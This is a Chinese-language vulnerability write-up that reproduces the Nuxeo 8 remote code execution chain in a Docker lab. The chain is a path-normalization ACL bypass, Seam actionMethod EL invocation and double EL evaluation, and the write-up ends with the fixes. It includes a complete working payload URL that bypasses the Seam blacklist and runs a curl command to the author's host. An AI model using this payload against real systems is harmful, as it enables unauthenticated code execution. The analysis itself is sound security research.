Nuxeo RCE漏洞分析

说明

Nuxeo RCE的分析是来源于Orange的这篇文章How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System,中文版见围观orange大佬在Amazon内部协作系统上实现RCE。在Orange的这篇文章虽然对整个漏洞进行了说明,但是如果没有实际调试过整个漏洞,看了文章之后始终还是难以理解,体会不深。由于Nuxeo已经将源码托管在Github上面,就决定自行搭建一个Nuxeo系统复现整个漏洞。

环境搭建

整个环节最麻烦就是环境搭建部分。由于对整个系统不熟,踩了很多的坑。

源码搭建

由于Github上面有系统的源码,考虑直接下载Nuxeo的源码搭建环境。当Nuxeo导入到IDEA中,发现有10多个模块,导入完毕之后也没有找到程序的入口点。折腾了半天,也没有运行起来。

考虑到之后整个系统中还涉及到了NuxeoJBoss-SeamTomcat,那么我就必须手动地解决这三者之间的部署问题。但在网络上也没有找到这三者之间的共同运行的方式。对整个三个组件的使用也不熟,搭建源码的方式也只能夭折了。

Docker远程调试

之后同学私信了orange调试方法之后,得知是直接使用的docker+Eclipse Remote Debug远程调试的方式。因为我们直接从Docker下载的Nuxeo系统是可以直接运行的,所以利用远程调试的方式是可以解决环境这个问题。漏洞的版本是在Nuxeo的分支8上面。整个搭建步骤如下:

  1. 拉取分支。从Docker上面拉取8的分支版本,docker pull nuxeo:8
  2. 开启调试。修改/opt/nuxeo/server/bin/nuxeo.conf文件,关闭#JAVA_OPTS=$JAVA_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n这行注释,开始远程调试。
  3. 安装模块。进入到/opt/nuxeo/server目录下运行./bin/nuxeoctl mp-install nuxeo-jsf-ui(这个组件和我们之后的漏洞利用有关)
  4. 导出源代码。由于需要远程调试,所以需要将Docker中的源代码导出来。从Docker中到处源代码到宿主机中也简单。

    1. 进入到Docker容器中,将/opt/nuxeo/server下的文件全部打包
    2. 从Docker中导出上一步打包的文件到宿主机中。
  5. Daemon的方式运行Docker环境。
  6. 用IDEA直接导入server/nxserver/nuxeo.war程序,这个war包程序就是一个完整的系统了,之后导入系统需要的jar包。jar来源包括server/binserver/libserver/nxserver/bundlesserver/nxserver/lib。如果导入的war程序没有报错没有显示缺少jar包那就说明我们导入成功了。
  7. 开启IDEA对Docker的远程调试。进入到Run/Edit Configurations/配置如下:

2018-08-20-1.jpg

8.导入程序源码。由于我们需要对nuxeojboss-seam相关的包进行调试,就需要导入jar包的源代码。相对应的我们需要导入的jar包包括:apache-tomcat-7.0.69-srcnuxeo-8.10-SNAPSHOTjboss-seam-2-3-1的源代码。

至此,我们的整个漏洞环境搭建完毕。

漏洞调试

路径规范化错误导致ACL绕过

ACL是Access Control List的缩写,中文意味访问控制列表。nuxeo中存在NuxeoAuthenticationFilter对访问的页面进行权限校验,这也是目前常见的开发方式。这个漏洞的本质原理是在于由于在nuxeo中会对不规范的路径进行规范化,这样会导致绕过nuxeo的权限校验。

正如orange所说,Nuxeo使用自定义的身份验证过滤器NuxeoAuthenticationFilter并映射/*。在WEB-INF/web.xml中存在对NuxeoAuthenticationFilter的配置。部分如下:

...
<filter-mapping>
    <filter-name>NuxeoAuthenticationFilter
      </filter-name>
    <url-pattern>/oauthGrant.jsp</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
<filter-mapping>
    <filter-name>NuxeoAuthenticationFilter
      </filter-name>
    <url-pattern>/oauth/*</url-pattern>
    <dispatcher>REQUEST</dispatcher>
    <dispatcher>FORWARD</dispatcher>
</filter-mapping>
...

但是我们发现login.jsp并没有使用NuxeoAuthenticationFilter过滤器(想想这也是情理之中,登录页面一般都不需要要权限校验)。而这个也是我们后面的漏洞的入口点。

分析org.nuxeo.ecm.platform.ui.web.auth.NuxeoAuthenticationFilter::bypassAuth()中的对权限的校验。

protected boolean bypassAuth(HttpServletRequest httpRequest) {
...
    try {
        unAuthenticatedURLPrefixLock.readLock().lock();
        String requestPage = getRequestedPage(httpRequest);
        for (String prefix : unAuthenticatedURLPrefix) {
            if (requestPage.startsWith(prefix)) {
                return true;
            }
        }
    }
....

解读如orange所说:

从上面可以看出来,bypassAuth检索当前请求的页面,与unAuthenticatedURLPrefix进行比较。 但bypassAuth如何检索当前请求的页面? Nuxeo编写了一个从HttpServletRequest.RequestURI中提取请求页面的方法,第一个问题出现在这里!

追踪进入到

protected static String getRequestedPage(HttpServletRequest httpRequest) {
    String requestURI = httpRequest.getRequestURI();
    String context = httpRequest.getContextPath() + '/';
    String requestedPage = requestURI.substring(context.length());
    int i = requestedPage.indexOf(';');
    return i == -1 ? requestedPage : requestedPage.substring(0, i);
}

getRequestedPage()对路径的处理很简单。如果路径中含有;,会去掉;后面所有的字符。以上都直指Nuxeo对于路径的处理,但是Nuxeo后面还有Web服务器,而不同的Web服务器对于路径的处理可能也不相同。正如Orange所说

每个Web服务器都有自己的实现。 Nuxeo的方式在WildFly,JBoss和WebLogic等容器中可能是安全的。 但它在Tomcat下就不行了! 因此getRequestedPage方法和Servlet容器之间的区别会导致安全问题!

根据截断方式,我们可以伪造一个与ACL中的白名单匹配但是到达Servlet中未授权区域的请求!

借用Orange的PPT中的一张图来进行说明:

2018-08-20-2.jpg

我们进行如下的测试:

  1. 访问一个需要进行权限认证的URL,oauth2Grant.jsp最终的结果是出现了302

2018-08-20-3.jpg

  1. 我们访问需要畸形URL,http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp,结果出现了500

2018-08-20-4.jpg

出现了500的原因是在于进入到tomcat之后,因为servlet逻辑无法获得有效的用户信息,因此它会抛出Java NullPointerException,但是http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp已经绕过ACL了。

Tomcat的路径的规范化的处理

这一步其实如果我们知道了tomcat对于路径的处理就可以了,这一步不必分析。但是既然出现了这个漏洞,就顺势分析一波tomcat的源码。

根据网络上的对于tomcat的解析URL的源码分析,解析Tomcat内部结构和请求过程和[Servlet容器Tomcat中web.xml中url-pattern的配置详解[附带源码分析]](https://www.cnblogs.com/fangjian0423/p/servletContainer-tomcat-urlPattern.html)。tomcat对路径的URL的处理的过程是:

2018-08-20-5.png

tomcat中存在Connecter和Container,Connector最重要的功能就是接收连接请求然后分配线程让Container来处理这个请求。四个自容器组件构成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。会以此向下解析,也就是说。如果tomcat收到一个请求,交由Container去设置HostContext以及wrapper。这几个组件的作用如下:

2018-08-20-6.jpg

我们首先分析org.apache.catalina.connector.CoyoteAdapter::postParseRequest()中对URL的处理,

  1. 经过了postParseRequest()中的convertURI(decodedURI, request);之后,会在req对象中增加decodedUriMB字段,值为/nuxeo/oauth2Grant.jsp

2018-08-20-7.jpg

  1. 解析完decodedUriMB之后,connector对相关的属性进行设置:

    connector.getMapper().map(serverName, decodedURI, version,request.getMappingData());
    request.setContext((Context) request.getMappingData().context);
    request.setWrapper((Wrapper) request.getMappingData().wrapper);
  2. 之后进入到org.apache.tomcat.util.http.mapper.Mapper中的internalMapWrapper()函数中选择对应的mapper(mapper就对应着处理的serlvet)。在这个internalMapWrapper()中会对mappingData中所有的属性进行设置,其中也包括wrapperPath。而wrapperPath就是用于之后获得getServletPath()的地址。

2018-08-20-9.jpg

  1. 最后进入到org.apache.jasper.servlet.JspServlet::service()处理URL。整个函数的代码如下:

    public void service (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        ...
        jspUri = request.getServletPath();
        String pathInfo = request.getPathInfo();
        if (pathInfo != null) {
            jspUri += pathInfo;
        }
    
        try {
            boolean precompile = preCompile(request);
            serviceJspFile(request, response, jspUri, precompile);
        } catch (RuntimeException e) {
            throw e;
        } catch (ServletException e) {
            throw e;
        }
        ...
    }

在函数内部通过jspUri = request.getServletPath();来获得URL。最终通过层层调用的分析,是在org.apache.catalina.connector.Request::getServletPath()中的获得的。

public String getServletPath() {
    return (mappingData.wrapperPath.toString());
}

得到的结果就是/oauth2Grant.jsp.

最后程序运行serviceJspFile(request, response, jspUri, precompile);,运行oauth2Grant.jsp对应的servlet。由于没有进过权限认证,直接访问了oauth2Grant.jsp,导致servlet无法获取用户的认证信息,结果报错了。

2018-08-20-10.jpg

这也是我们之前访问http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp出现了500 java.lang.NullPointerException的原因。

代码重用功能导致部分EL调用

由于NuxeoTomcat对于路径解析不一致的问题,目前我就可以访问任意的servlet。现在的问题是我们需要访问一个去访问未经认证的Seam servlet去触发漏洞。如Orange所说:

actionMethod是一个特殊的参数,可以从查询字符串中调用特定的JBoss EL(Expression Language)

actionMethod的触发是由org.jboss.seam.navigation.Pages::callAction处理。如下:

private static boolean callAction(FacesContext facesContext) {
    //TODO: refactor with Pages.instance().callAction()!!
    boolean result = false;
    String actionId = facesContext.getExternalContext().getRequestParameterMap().get("actionMethod");
    if (actionId!=null)
    {
    String decodedActionId = URLDecoder.decode(actionId);
    if (decodedActionId != null && (decodedActionId.indexOf('#') >= 0 || decodedActionId.indexOf('{') >= 0) ){
        throw new IllegalArgumentException("EL expressions are not allowed in actionMethod parameter");
    }
    if ( !SafeActions.instance().isActionSafe(actionId) ) return result;
    String expression = SafeActions.toAction(actionId);
    result = true;
    MethodExpression actionExpression = Expressions.instance().createMethodExpression(expression);
    outcome = toString( actionExpression.invoke() );
    fromAction = expression;
    handleOutcome(facesContext, outcome, fromAction);
    }    
    return result;
}

其中actionId就是actionMethod参数的内容。callAction整体功能很简单,从actionId中检测出来expression(即EL表达式),之后利用actionExpression.invoke()执行表达式,最终通过handleOutcome()输出表达式的结果,问题是在于handleOutcome()也能够执行EL表达式。但是actionMethod也不可能让你随意地执行EL表达式,在方法中还存在一些安全检查。包括SafeActions.instance().isActionSafe(actionId)。跟踪进入到org.jboss.seam.navigation.SafeActions::isActionSafe():

public boolean isActionSafe(String id){
    if ( safeActions.contains(id) ) return true;
    int loc = id.indexOf(':');
    if (loc<0) throw new IllegalArgumentException("Invalid action method " + id);
    String viewId = id.substring(0, loc);
    String action = "\"#{" + id.substring(loc+1) + "}\"";
    // adding slash as it otherwise won't find a page viewId by getResource*
    InputStream is = FacesContext.getCurrentInstance().getExternalContext().getResourceAsStream("/" +viewId);
    if (is==null) throw new IllegalStateException("Unable to read view " + "/" + viewId + " to execute action " + action);
    BufferedReader reader = new BufferedReader( new InputStreamReader(is) );
    try {
        while ( reader.ready() ) {
            if ( reader.readLine().contains(action) ) {
                addSafeAction(id);
                return true;
            }
        }
        return false;
    }
// catch exception
}

:作为分隔符对id进行分割得到viewIdaction,其中viewId就是一个存在的页面,而action就是EL表达式。reader.readLine().contains(action)这行代码的含义就是在viewId页面中必须存在action表达式。我们以一个具体的例子来进行说明。login.xhtml为例进行说明,这个页面刚好存在<td><h:inputText name="j_username" value="#{userDTO.username}" /></td>表达式。以上的分析就说明了为什么需要满足orange的三个条件了。

  1. actionMethod的值必须是一对,例如:FILENAME:EL_CODE
  2. FILENAME部分必须是context-root下的真实文件
  3. 文件FILENAME必须包含内容“#{EL_CODE}”(双引号是必需的)

例如这样的URL:http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=login.xhtml:userDTO.username。其中login.xhtml:userDTO.username满足了第一个要求;login.xhtml是真实存在的,满足了第二个要求;"#{userDTO.username}"满足了第三个要求。

双重评估导致EL注入

看起来是非常安全的。因为这样就限制了只能执行在页面中的EL表达式,无法执行攻击者自定义的表达式,而页面中的EL表达式一般都是由开发者开发不会存在诸如RCE的这种漏洞。但是这一切都是基于理想的情况下。但是之前分析就说过在callAction()中最终还会调用handleOutcome(facesContext, outcome, fromAction)对EL执行的结果进行应一步地处理,如果EL的执行结果是一个表达式则handleOutcome()会继续执行这个表达式,即双重的EL表达式会导致EL注入。

我们对handleOutcome()的函数执行流程进行分析:

  1. org.jboss.seam.navigation.Pages::callAction()中执行handleOutcome():
  2. org.jboss.seam.navigation.Pages:handleOutcome()中。
  3. org.nuxeo.ecm.platform.ui.web.rest.FancyNavigationHandler::handleNavigation()
  4. org.jboss.seam.jsf.SeamNavigationHandler::handleNavigation()
  5. org.jboss.seam.core.Interpolator::interpolate()
  6. org.jboss.seam.core.Interpolator::interpolateExpressions()中,以Object value = Expressions.instance().createValueExpression(expression).getValue();的方式执行了EL表达式。

问题的关键是在于找到一个xhtml供我们能够执行双重EL。根据orange的文章,找到widgets/suggest_add_new_directory_entry_iframe.xhtml。如下:

  <nxu:set var="directoryNameForPopup"
    value="#{request.getParameter('directoryNameForPopup')}"
    cache="true">
....

其中存在#{request.getParameter('directoryNameForPopup')}一个EL表达式,用于获取到directoryNameForPopup参数的内容(这个就是第一次的EL表达式了)。那么如果directoryNameForPopup的参数也是EL表达式,这样就会达到双重EL表达式的注入效果了。

至此整个漏洞的攻击链已经完成了。

双重EL评估导致RCE

需要注意的是在Seam2.3.1中存在一个反序列化的黑名单,具体位于org/jboss/seam/blacklist.properties中,内容如下:

.getClass(
.class.
.addRole(
.getPassword(
.removeRole(
session['class']

黑名单导致无法通过"".getClass().forName("java.lang.Runtime")的方式获得反序列化的对象。但是可以利用数组的方式绕过这个黑名单的检测,""["class"].forName("java.lang.Runtime")。绕过了这个黑名单检测之后,那么我们就可以利用""["class"].forName("java.lang.Runtime")这种方式范反序列化得到java.lang.Runtime类进而执行RCE了。我们重新梳理一下整个漏洞的攻击链:

  1. 利用nuxeo中的bypassAuth的路径规范化绕过NuxeoAuthenticationFilter的权限校验;
  2. 利用Tomcat对路径的处理,访问任意的servlet;
  3. 利用jboss-seam中的callAction使我们可以调用actionMethod。利用actionMethod利用调用任意xhtml文件中的EL表达式;
  4. 利用actionMethod我们利用调用widgets/suggest_add_new_directory_entry_iframe.xhtml,并且可以控制其中的参数;
  5. 控制suggest_add_new_directory_entry_iframe中的request.getParameter('directoryNameForPopup')中的directoryNameForPopup参数,为RCE的EL表达式的payload;
  6. org.jboss.seam.navigation.Pages::callAction执行双重EL,最终造成RCE;

我们最终的Payload是:

http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:request.getParameter('directoryNameForPopup')&directoryNameForPopup=/?key=#{''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898')}

其中172.17.0.1是我宿主机的IP地址,''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7]得到的就是exec(java.lang.String)''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15]得到的就是getRuntime(),最终成功地RCE了。

2018-08-20-11.jpg

修复

Nxueo的修复

Nuxeo出现的漏洞的原因是在于ACL的绕过以及与tomcat的路径规范化的操作不一致的问题。这个问题已经在NXP-24645: fix detection of request page for login中修复了。修复方式是:

2018-08-20-12.jpg

现在通过httpRequest.getServletPath();获取的路径和tomcat保持一致,这样ACL就无法被绕过同时有也不会出现于tomcat路径规范化不一致的问题;

seam的修复

Seam的修复有两处,NXP-24606: improve Seam EL blacklistNXP-24604: don't evalue EL from user input
blacklist中增加了黑名单:

2018-08-20-13.jpg

包括.forName(,这样无法通过.forName(进行反序列化了。

修改了callAction()中的方法处理,如下:

2018-08-20-14.jpg

修改之后的callAction()没有进行任何的处理直接返回false不执行任何的EL表达式。

总结

通篇写下来发现自己写和Orange的那篇文章并没有很大的差别,但是通过自己手动地调试一番还是有非常大的收获的。这个漏洞的供给链的构造确实非常的精巧。

  1. 充分利用了Nuxeo的ACL的绕过,与Tomcat对URL规范化的差异性导致了我们的任意的servlet的访问。
  2. 利用了seam中的actionMethod使得我们可以指向任意xhtml中的任意EL表达式。
  3. 利用了callAction()中对于EL表达式的处理执行了双重EL表达式。

标签: 反序列化, Nuxeo, RCE, Nuxeo漏洞, 双重EL评估, Seam, EL注入, EL调用, 代码重用, ACL绕过, 路径规范化错误

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